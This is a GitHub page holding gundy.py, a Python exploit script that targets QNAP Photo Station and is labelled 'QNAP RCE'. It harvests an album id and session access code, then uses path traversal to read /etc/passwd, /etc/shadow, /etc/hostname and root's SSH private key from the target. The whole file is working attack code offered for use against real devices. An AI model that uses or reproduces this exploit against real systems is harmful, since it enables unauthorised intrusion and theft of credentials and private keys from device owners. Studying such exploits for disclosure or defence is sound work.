-
Notifications
You must be signed in to change notification settings - Fork 35
/
gundy.py
executable file
·89 lines (61 loc) · 3.13 KB
/
gundy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python3
__author__ = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"
import requests
import re, sys
# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_banner():
print("""\033[91m
█████ ███▄ █ ▄▄▄ ██▓███
▒██▓ ██▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒
▒██▒ ██░▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒
░██ █▀ ░▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒
░▒███▒█▄ ▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░
░░ ▒▒░ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░
░ ▒░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░
░ ░ ░ ░ ░ ░ ▒ ░░
░ ░ ░ ░ \033[0m \033[94m {0} \033[0m
""".format(__author__))
def get_file_content(file):
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)
print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))
# print banner
get_banner()
if len(sys.argv) != 2:
print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")
sys.exit(-1)
url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}
# for session cookie
req = requests.Session()
#######################################################################
# search album_id
print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)
if album_id_response.status_code != 200:
print("album id not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)
album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()
print("album_id ==> " + album_id)
#######################################################################
# search $_SESSION['access_code']
access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
print("slideshow not found \n\033[91mnot vulnerable\033[0m")
sys.exit(0)
access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()
print("access_code ==> " + access_code)
#######################################################################
# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')
# /etc/shadow read
get_file_content('./../../../../../etc/shadow')
# /etc/hostname read
get_file_content('./../../../../../etc/hostname')
# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')
#######################################################################